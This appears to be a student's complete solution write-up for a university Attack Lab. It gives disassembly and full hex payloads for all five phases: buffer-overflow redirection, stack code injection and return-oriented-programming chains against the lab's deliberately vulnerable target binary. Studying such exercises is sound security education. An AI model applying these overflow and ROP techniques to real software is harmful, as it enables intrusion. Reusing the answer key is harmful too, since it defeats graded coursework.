Attack **Lab**

The Unadulterated Violation of
Target 229 | 0x745689a0

Pre-Lab

- **objdump -d *program_name***
  - Dumps a disassembled version of *program_name*
- **echo > *file_name*.txt**
  - Creates a file named *file_name* in the current directory
- **./hex2raw < *file_name*.txt > *new_file_name*.txt**
  - Takes the hex contents of *file_name* and places the resultant raw string into *new_file_name*
- **./ctarget -i *file_name*.txt**
  - Runs ctarget with the contents of *file_name*
- **gcc -c *file_name*.s**
  - Compiles assembly code

Phase 1: Redirection

---

getbuf Dump =>

```
00000000004016f8 <getbuf>:
  4016f8:    48 83 ec 28              sub    $0x28,%rsp // 40 bytes of padding
  4016fc:    48 89 e7                 mov    %rsp,%rdi
  4016ff:    e8 36 02 00 00           callq  40193a <Gets>
  401704:    b8 01 00 00 00           mov    $0x1,%eax
  401709:    48 83 c4 28              add    $0x28,%rsp
  40170d:    c3                       retq
```

touch1 Dump =>

```
000000000040170e <touch1>: // Little endian -> 0e 17 40 00 00 00 00 00
  40170e:    48 83 ec 08              sub    $0x8,%rsp
  401712:    c7 05 e0 2d 20 00 01     movl   $0x1,0x202de0(%rip)        # 6044fc
<vlevel>
  401719:    00 00 00
  40171c:    bf 76 2f 40 00           mov    $0x402f76,%edi
  401721:    e8 2a f5 ff ff           callq  400c50 <puts@plt>
  401726:    bf 01 00 00 00           mov    $0x1,%edi
  40172b:    e8 f9 03 00 00           callq  401b29 <validate>
  401730:    bf 00 00 00 00           mov    $0x0,%edi
  401735:    e8 b6 f6 ff ff           callq  400df0 <exit@plt>
```

Solution =>

```
00 00 00 00 00 00 00 00 <= 40 bytes padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
0e 17 40 00 00 00 00 00 <= Address of touch1
```

- Pads past the buffer, return accesses memory address of touch1

Phase 2: Injection

---

getbuf Dump =>

```
00000000004016f8 <getbuf>:
  4016f8:    48 83 ec 28              sub    $0x28,%rsp // 40 bytes of padding
  4016fc:    48 89 e7                 mov    %rsp,%rdi
  4016ff:    e8 36 02 00 00           callq  40193a <Gets>
  401704:    b8 01 00 00 00           mov    $0x1,%eax // address of rsp: 0x55661398
  401709:    48 83 c4 28              add    $0x28,%rsp
  40170d:    c3                       retq
```

touch2 Dump =>

```
000000000040173a <touch2>:
  40173a:    48 83 ec 08              sub    $0x8,%rsp
  40173e:    89 fe                    mov    %edi,%esi // cookie has to be in rdi
  401740:    c7 05 b2 2d 20 00 02     movl   $0x2,0x202db2(%rip)    # 6044fc <vlevel>
  401747:    00 00 00
  40174a:    3b 3d b4 2d 20 00        cmp    0x202db4(%rip),%edi    # 604504 <cookie>
  401750:    75 1b                    jne    40176d <touch2+0x33>
  401752:    bf 98 2f 40 00           mov    $0x402f98,%edi
  401757:    b8 00 00 00 00           mov    $0x0,%eax
  40175c:    e8 1f f5 ff ff           callq  400c80 <printf@plt>
  401761:    bf 02 00 00 00           mov    $0x2,%edi
  401766:    e8 be 03 00 00           callq  401b29 <validate>
  40176b:    eb 19                    jmp    401786 <touch2+0x4c>
  40176d:    bf c0 2f 40 00           mov    $0x402fc0,%edi
  401772:    b8 00 00 00 00           mov    $0x0,%eax
  401777:    e8 04 f5 ff ff           callq  400c80 <printf@plt>
  40177c:    bf 02 00 00 00           mov    $0x2,%edi
  401781:    e8 55 04 00 00           callq  401bdb <fail>
  401786:    bf 00 00 00 00           mov    $0x0,%edi
  40178b:    e8 60 f6 ff ff           callq  400df0 <exit@plt>
```

phase2.o Dump =>

```
0000000000000000 <.text>:
   0:  48 c7 c7 a0 89 56 74       mov    $0x745689a0,%rdi // moves cookie into rdi
   7:  c3                         retq
```

Solution =>
48 c7 c7 a0 89 56 74 c3 <= moves the cookie into rdi
00 00 00 00 00 00 00 00 <= 32 bytes of padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
98 13 66 55 00 00 00 00 <= address of start of buffer
3a 17 40 00 00 00 00 00 <= address of touch2

- Pads past the buffer, return address is address of rsp
- Return accesses the first line, which is assembly for moving the cookie into rdi
- The next return accesses the memory address of touch2, and the cookie is in rdi

Phase 3: Overwriting

---

getbuf Dump =>

```
00000000004016f8 <getbuf>:
  4016f8:    48 83 ec 28              sub    $0x28,%rsp // 40 bytes of padding
  4016fc:    48 89 e7                 mov    %rsp,%rdi
  4016ff:    e8 36 02 00 00           callq  40193a <Gets>
  401704:    b8 01 00 00 00           mov    $0x1,%eax // address of rsp: 0x55661398
  401709:    48 83 c4 28              add    $0x28,%rsp
  40170d:    c3                       retq
```

touch3 Dump =>

```
000000000040180e <touch3>:
  40180e:    53                       push   %rbx
  40180f:    48 89 fb                 mov    %rdi,%rbx
  401812:    c7 05 e0 2c 20 00 03     movl   $0x3,0x202ce0(%rip)    # 6044fc <vlevel>
  401819:    00 00 00
  40181c:    48 89 fe                 mov    %rdi,%rsi
  40181f:    8b 3d df 2c 20 00        mov    0x202cdf(%rip),%edi    # 604504 <cookie>
  401825:    e8 66 ff ff ff           callq  401790 <hexmatch> // can alter data on
                                                                 the stack
  40182a:    85 c0                    test   %eax,%eax
  40182c:    74 1e                    je     40184c <touch3+0x3e>
  40182e:    48 89 de                 mov    %rbx,%rsi
  401831:    bf e8 2f 40 00           mov    $0x402fe8,%edi
  401836:    b8 00 00 00 00           mov    $0x0,%eax
  40183b:    e8 40 f4 ff ff           callq  400c80 <printf@plt>
  401840:    bf 03 00 00 00           mov    $0x3,%edi
  401845:    e8 df 02 00 00           callq  401b29 <validate>
  40184a:    eb 1c                    jmp    401868 <touch3+0x5a>
  40184c:    48 89 de                 mov    %rbx,%rsi
  40184f:    bf 10 30 40 00           mov    $0x403010,%edi
  401854:    b8 00 00 00 00           mov    $0x0,%eax
  401859:    e8 22 f4 ff ff           callq  400c80 <printf@plt>
  40185e:    bf 03 00 00 00           mov    $0x3,%edi
  401863:    e8 73 03 00 00           callq  401bdb <fail>
  401868:    bf 00 00 00 00           mov    $0x0,%edi
  40186d:    e8 7e f5 ff ff           callq  400df0 <exit@plt>
```

hexmatch Dump =>

```
0000000000401790 <hexmatch>:
  401790:    41 54                    push   %r12
  401792:    55                       push   %rbp
  401793:    53                       push   %rbx
  401794:    48 83 ec 70              sub    $0x70,%rsp
```

```
  401798:    41 89 fc                 mov    %edi,%r12d
  40179b:    48 89 f5                 mov    %rsi,%rbp
  40179e:    e8 ad f5 ff ff           callq  400d50 <random@plt>
  4017a3:    48 89 c1                 mov    %rax,%rcx
  4017a6:    48 ba 0b d7 a3 70 3d     movabs $0xa3d70a3d70a3d70b,%rdx
  4017ad:    0a d7 a3
  4017b0:    48 f7 ea                 imul   %rdx
  4017b3:    48 8d 04 0a              lea    (%rdx,%rcx,1),%rax
  4017b7:    48 c1 f8 06              sar    $0x6,%rax
  4017bb:    48 89 ce                 mov    %rcx,%rsi
  4017be:    48 c1 fe 3f              sar    $0x3f,%rsi
  4017c2:    48 29 f0                 sub    %rsi,%rax
  4017c5:    48 8d 04 80              lea    (%rax,%rax,4),%rax
  4017c9:    48 8d 04 80              lea    (%rax,%rax,4),%rax
  4017cd:    48 c1 e0 02              shl    $0x2,%rax
  4017d1:    48 29 c1                 sub    %rax,%rcx
  4017d4:    48 8d 1c 0c              lea    (%rsp,%rcx,1),%rbx
  4017d8:    44 89 e2                 mov    %r12d,%edx
  4017db:    be 93 2f 40 00           mov    $0x402f93,%esi
  4017e0:    48 89 df                 mov    %rbx,%rdi
  4017e3:    b8 00 00 00 00           mov    $0x0,%eax
  4017e8:    e8 f3 f5 ff ff           callq  400de0 <sprintf@plt>
  4017ed:    ba 09 00 00 00           mov    $0x9,%edx
  4017f2:    48 89 de                 mov    %rbx,%rsi
  4017f5:    48 89 ef                 mov    %rbp,%rdi
  4017f8:    e8 33 f4 ff ff           callq  400c30 <strncmp@plt>
  4017fd:    85 c0                    test   %eax,%eax
  4017ff:    0f 94 c0                 sete   %al
  401802:    0f b6 c0                 movzbl %al,%eax
  401805:    48 83 c4 70              add    $0x70,%rsp
  401809:    5b                       pop    %rbx
  40180a:    5d                       pop    %rbp
  40180b:    41 5c                    pop    %r12
  40180d:    c3                       retq
```

phase3.o Dump =>

```
0000000000000000 <.text>:
   0:  48 c7 c7 d0 13 66 55       mov    $0x556613d0,%rdi // moves string into rdi
   7:  c3                         retq
```

Solution =>

48 c7 c7 d0 13 66 55 c3 <= Moves rsp + 0x38 into rdi
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

```
98 13 66 55 00 00 00 00 <= Address of start of buffer
0e 18 40 00 00 00 00 00 <= Address of touch3
37 34 35 36 38 39 61 30 <= Cookie string
```

- Pads past the buffer, hits rsp (first line) as its return address
- First line places the address of the cookie string into rdi
- This returns into the address of touch3
- Since the cookie string address is after the touch3 address on the stack, the modifications to the buffer made within touch3 are irrelevant

Phase 4: ROP

Gadget Farm =>

```
0000000000401896 <start_farm>:
  401896:     b8 01 00 00 00            mov    $0x1,%eax
  40189b:     c3                        retq

000000000040189c <setval_411>:
  40189c:     c7 07 59 48 89 c7         movl   $0xc7894859,(%rdi)
  4018a2:     c3                        retq

00000000004018a3 <setval_448>:
  4018a3:     c7 07 48 89 c7 90         movl   $0x90c78948,(%rdi)
  // 48 89 c7 can be used as a movq %rax, %rdi
  4018a9:     c3                        retq

00000000004018aa <getval_114>:
  4018aa:     b8 e0 4c 89 c7            mov    $0xc7894ce0,%eax
  4018af:     c3                        retq

00000000004018b0 <getval_341>:
  4018b0:     b8 18 90 90 90            mov    $0x90909018,%eax
  4018b5:     c3                        retq

00000000004018b6 <getval_310>:
  4018b6:     b8 99 d8 90 90            mov    $0x9090d899,%eax
  4018bb:     c3                        retq

00000000004018bc <addval_438>:
  4018bc:     8d 87 48 09 c7 90         lea    -0x6f38f6b8(%rdi),%eax
  4018c2:     c3                        retq

00000000004018c3 <getval_311>:
  4018c3:     b8 58 90 90 90            mov    $0x90909058,%eax
  // 58 can be used as a popq %rax
  4018c8:     c3                        retq

00000000004018c9 <addval_338>:
  4018c9:     8d 87 58 90 90 c3         lea    -0x3c6f6fa8(%rdi),%eax
  4018cf:     c3                        retq

00000000004018d0 <mid_farm>:
  4018d0:     b8 01 00 00 00            mov    $0x1,%eax
  4018d5:     c3                        retq
```

getbuf Dump =>

```
00000000004016f8 <getbuf>:
  4016f8:    48 83 ec 28              sub    $0x28,%rsp // 40 byte padding
  4016fc:    48 89 e7                 mov    %rsp,%rdi
  4016ff:    e8 56 03 00 00           callq  401a5a <Gets>
  401704:    b8 01 00 00 00           mov    $0x1,%eax
  401709:    48 83 c4 28              add    $0x28,%rsp
  40170d:    c3                       ret
```

touch2 Dump =>

```
000000000040173a <touch2>:
  40173a:    48 83 ec 08              sub    $0x8,%rsp
  40173e:    89 fe                    mov    %edi,%esi
  401740:    c7 05 b2 3d 20 00 02     movl   $0x2,0x203db2(%rip)    # 6054fc <vlevel>
  401747:    00 00 00
  40174a:    3b 3d b4 3d 20 00        cmp    0x203db4(%rip),%edi    # 605504 <cookie>
  401750:    75 1b                    jne    40176d <touch2+0x33>
  401752:    bf b8 30 40 00           mov    $0x4030b8,%edi
  401757:    b8 00 00 00 00           mov    $0x0,%eax
  40175c:    e8 1f f5 ff ff           callq  400c80 <printf@plt>
  401761:    bf 02 00 00 00           mov    $0x2,%edi
  401766:    e8 de 04 00 00           callq  401c49 <validate>
  40176b:    eb 19                    jmp    401786 <touch2+0x4c>
  40176d:    bf e0 30 40 00           mov    $0x4030e0,%edi
  401772:    b8 00 00 00 00           mov    $0x0,%eax
  401777:    e8 04 f5 ff ff           callq  400c80 <printf@plt>
  40177c:    bf 02 00 00 00           mov    $0x2,%edi
  401781:    e8 75 05 00 00           callq  401cfb <fail>
  401786:    bf 00 00 00 00           mov    $0x0,%edi
  40178b:    e8 60 f6 ff ff           callq  400df0 <exit@plt>
```

Solution =>

```
00 00 00 00 00 00 00 00 <= 40 bytes of padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c4 18 40 00 00 00 00 00 <= popq %rax
a0 89 56 74 00 00 00 00 <= Cookie
a5 18 40 00 00 00 00 00 <= movq %rax, %rdi
3a 17 40 00 00 00 00 00 <= Address of touch2
```

- The return moves past the padding, returning to the command to pop into rax
- Pop works on the last entry into the stack before popq, so the cookie is placed into rax
- Upon returning from pop, rax is then moved into rdi
- Upon returning from the move, the rip moves into touch2 with the cookie in rdi

Phase 5: Hard ROP

Gadget Farm =>

```
0000000000401896 <start_farm>:
  401896:     b8 01 00 00 00             mov    $0x1,%eax
  40189b:     c3                         retq

000000000040189c <setval_411>:
  40189c:     c7 07 59 48 89 c7          movl   $0xc7894859,(%rdi)
  // 48 89 c7 can be used as a movq %rax, %rdi
  4018a2:     c3                         retq

00000000004018a3 <setval_448>:
  4018a3:     c7 07 48 89 c7 90          movl   $0x90c78948,(%rdi)
  4018a9:     c3                         retq

00000000004018aa <getval_114>:
  4018aa:     b8 e0 4c 89 c7             mov    $0xc7894ce0,%eax
  4018af:     c3                         retq

00000000004018b0 <getval_341>:
  4018b0:     b8 18 90 90 90             mov    $0x90909018,%eax
  4018b5:     c3                         retq

00000000004018b6 <getval_310>:
  4018b6:     b8 99 d8 90 90             mov    $0x9090d899,%eax
  4018bb:     c3                         retq

00000000004018bc <addval_438>:
  4018bc:     8d 87 48 09 c7 90          lea    -0x6f38f6b8(%rdi),%eax
  4018c2:     c3                         retq

00000000004018c3 <getval_311>:
  4018c3:     b8 58 90 90 90             mov    $0x90909058,%eax
  // 58 can be used as a popq %rax
  4018c8:     c3                         retq

00000000004018c9 <addval_338>:
  4018c9:     8d 87 58 90 90 c3          lea    -0x3c6f6fa8(%rdi),%eax
  4018cf:     c3                         retq

00000000004018d0 <mid_farm>:
  4018d0:     b8 01 00 00 00             mov    $0x1,%eax
  4018d5:     c3                         retq

00000000004018d6 <add_xy>:
  4018d6:     48 8d 04 37                lea    (%rdi,%rsi,1),%rax
  // use to add offset to rsp
```

```
  4018da:     c3                          retq


00000000004018db <getval_272>:
  4018db:     b8 48 89 e0 94              mov    $0x94e08948,%eax
  4018e0:     c3                          retq

00000000004018e1 <setval_383>:
  4018e1:     c7 07 89 c1 00 d2           movl   $0xd200c189,(%rdi)
  4018e7:     c3                          retq

00000000004018e8 <addval_362>:
  4018e8:     8d 87 09 ca c3 82           lea    -0x7d3c35f7(%rdi),%eax
  4018ee:     c3                          retq

00000000004018ef <getval_156>:
  4018ef:     b8 a9 d6 08 d2              mov    $0xd208d6a9,%eax
  4018f4:     c3                          retq

00000000004018f5 <addval_104>:
  4018f5:     8d 87 8d d6 90 c3           lea    -0x3c6f2973(%rdi),%eax
  4018fb:     c3                          retq

00000000004018fc <setval_467>:
  4018fc:     c7 07 48 89 e0 c1           movl   $0xc1e08948,(%rdi)
  401902:     c3                          retq

0000000000401903 <addval_462>:
  401903:     8d 87 81 ca 20 c0           lea    -0x3fdf357f(%rdi),%eax
  401909:     c3                          retq

000000000040190a <addval_279>:
  40190a:     8d 87 81 ca 90 90           lea    -0x6f6f357f(%rdi),%eax
  401910:     c3                          retq

0000000000401911 <setval_116>:
  401911:     c7 07 89 c1 20 c9           movl   $0xc920c189,(%rdi)
  // 89 c1 can be used as a movl %eax, %ecx
  401917:     c3                          retq

0000000000401918 <setval_395>:
  401918:     c7 07 89 d6 18 c0           movl   $0xc018d689,(%rdi)
  40191e:     c3                          retq

000000000040191f <addval_307>:
  40191f:     8d 87 88 c1 38 db           lea    -0x24c73e78(%rdi),%eax
  401925:     c3                          retq

0000000000401926 <getval_162>:
  401926:     b8 bf 48 99 e0              mov    $0xe09948bf,%eax
```

```
  40192b:     c3                          retq

000000000040192c <addval_107>:
  40192c:     8d 87 48 89 e0 c3           lea    -0x3c1f76b8(%rdi),%eax
  // 48 89 e0 is a movq %rsp, %rax
  401932:     c3                          retq

0000000000401933 <addval_286>:
  401933:     8d 87 48 89 e0 c3           lea    -0x3c1f76b8(%rdi),%eax
  401939:     c3                          retq

000000000040193a <addval_293>:
  40193a:     8d 87 8d c1 38 db           lea    -0x24c73e73(%rdi),%eax
  401940:     c3                          retq

0000000000401941 <addval_498>:
  401941:     8d 87 89 d6 60 c9           lea    -0x369f2977(%rdi),%eax
  401947:     c3                          retq

0000000000401948 <getval_295>:
  401948:     b8 89 d6 20 c9              mov    $0xc920d689,%eax
  // 89 d6 can be used as a movl %edx, %esi
  40194d:     c3                          retq

000000000040194e <setval_154>:
  40194e:     c7 07 08 89 e0 c3           movl   $0xc3e08908,(%rdi)
  401954:     c3                          retq

0000000000401955 <setval_269>:
  401955:     c7 07 8d ca 08 c9           movl   $0xc908ca8d,(%rdi)
  40195b:     c3                          retq

000000000040195c <addval_476>:
  40195c:     8d 87 49 89 e0 90           lea    -0x6f1f76b7(%rdi),%eax
  401962:     c3                          retq

0000000000401963 <setval_252>:
  401963:     c7 07 88 ca 20 d2           movl   $0xd220ca88,(%rdi)
  401969:     c3                          retq

000000000040196a <addval_405>:
  40196a:     8d 87 89 c1 c4 d2           lea    -0x2d3b3e77(%rdi),%eax
  401970:     c3                          retq

0000000000401971 <getval_288>:
  401971:     b8 89 d6 38 c9              mov    $0xc938d689,%eax
  401976:     c3                          retq

0000000000401977 <getval_281>:
  401977:     b8 89 c1 28 c0              mov    $0xc028c189,%eax
```

```
  40197c:     c3                          retq

000000000040197d <setval_218>:
  40197d:     c7 07 89 d6 c4 db           movl   $0xdbc4d689,(%rdi)
  401983:     c3                          retq

0000000000401984 <addval_250>:
  401984:     8d 87 89 ca 38 d2           lea    -0x2dc73577(%rdi),%eax
  // 89 ca can be used as a movl %ecx, %edx
  40198a:     c3                          retq

000000000040198b <getval_214>:
  40198b:     b8 89 c1 38 c0              mov    $0xc038c189,%eax
  401990:     c3                          retq

0000000000401991 <addval_215>:
  401991:     8d 87 b9 68 89 e0           lea    -0x1f769747(%rdi),%eax
  401997:     c3                          retq

0000000000401998 <getval_493>:
  401998:     b8 89 ca 18 db              mov    $0xdb18ca89,%eax
  40199d:     c3                          retq

000000000040199e <addval_415>:
  40199e:     8d 87 0b 99 c1 90           lea    -0x6f3e66f5(%rdi),%eax
  4019a4:     c3                          retq

00000000004019a5 <addval_115>:
  4019a5:     8d 87 89 d6 18 d2           lea    -0x2de72977(%rdi),%eax
  4019ab:     c3                          retq

00000000004019ac <addval_251>:
  4019ac:     8d 87 45 56 89 ca           lea    -0x3576a9bb(%rdi),%eax
  4019b2:     c3                          retq

00000000004019b3 <end_farm>:
  4019b3:     b8 01 00 00 00              mov    $0x1,%eax
  4019b8:     c3                          retq
  4019b9:     0f 1f 80 00 00 00 00        nopl   0x0(%rax)
```

getbuf Dump =>

```
00000000004016f8 <getbuf>:
  4016f8:     48 83 ec 28                 sub    $0x28,%rsp
  4016fc:     48 89 e7                    mov    %rsp,%rdi
  4016ff:     e8 56 03 00 00              callq  401a5a <Gets>
  401704:     b8 01 00 00 00              mov    $0x1,%eax
  401709:     48 83 c4 28                 add    $0x28,%rsp
  40170d:     c3                          retq
```

touch3 Dump =>

```
000000000040180e <touch3>:
  40180e:    53                      push   %rbx
  40180f:    48 89 fb                mov    %rdi,%rbx
  401812:    c7 05 e0 3c 20 00 03    movl   $0x3,0x203ce0(%rip)   # 6054fc <vlevel>
  401819:    00 00 00
  40181c:    48 89 fe                mov    %rdi,%rsi
  40181f:    8b 3d df 3c 20 00       mov    0x203cdf(%rip),%edi   # 605504 <cookie>
  401825:    e8 66 ff ff ff          callq  401790 <hexmatch>
  40182a:    85 c0                   test   %eax,%eax
  40182c:    74 1e                   je     40184c <touch3+0x3e>
  40182e:    48 89 de                mov    %rbx,%rsi
  401831:    bf 08 31 40 00          mov    $0x403108,%edi
  401836:    b8 00 00 00 00          mov    $0x0,%eax
  40183b:    e8 40 f4 ff ff          callq  400c80 <printf@plt>
  401840:    bf 03 00 00 00          mov    $0x3,%edi
  401845:    e8 ff 03 00 00          callq  401c49 <validate>
  40184a:    eb 1c                   jmp    401868 <touch3+0x5a>
  40184c:    48 89 de                mov    %rbx,%rsi
  40184f:    bf 30 31 40 00          mov    $0x403130,%edi
  401854:    b8 00 00 00 00          mov    $0x0,%eax
  401859:    e8 22 f4 ff ff          callq  400c80 <printf@plt>
  40185e:    bf 03 00 00 00          mov    $0x3,%edi
  401863:    e8 93 04 00 00          callq  401cfb <fail>
  401868:    bf 00 00 00 00          mov    $0x0,%edi
  40186d:    e8 7e f5 ff ff          callq  400df0 <exit@plt>
```

Solution =>

```
00 00 00 00 00 00 00 00 <= 40 bytes of padding
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
35 19 40 00 00 00 00 00 <= movq %rsp, %rax (1)
a5 18 40 00 00 00 00 00 <= movq %rax, %rdi (2)
c4 18 40 00 00 00 00 00 <= popq %rax (3)
48 00 00 00 00 00 00 00 <= Offset of 0x48 = 72
13 19 40 00 00 00 00 00 <= movl %eax, %ecx (4)
86 19 40 00 00 00 00 00 <= movl %ecx, %edx (5)
49 19 40 00 00 00 00 00 <= movl %edx, %esi (6)
d6 18 40 00 00 00 00 00 <= lea (%rdi,%rsi,1),%rax (7)
```

```
a5 18 40 00 00 00 00 00 <= movq %rax, %rdi (8)
0e 18 40 00 00 00 00 00 <= Address of touch3
37 34 35 36 38 39 61 30 <= Cookie string
```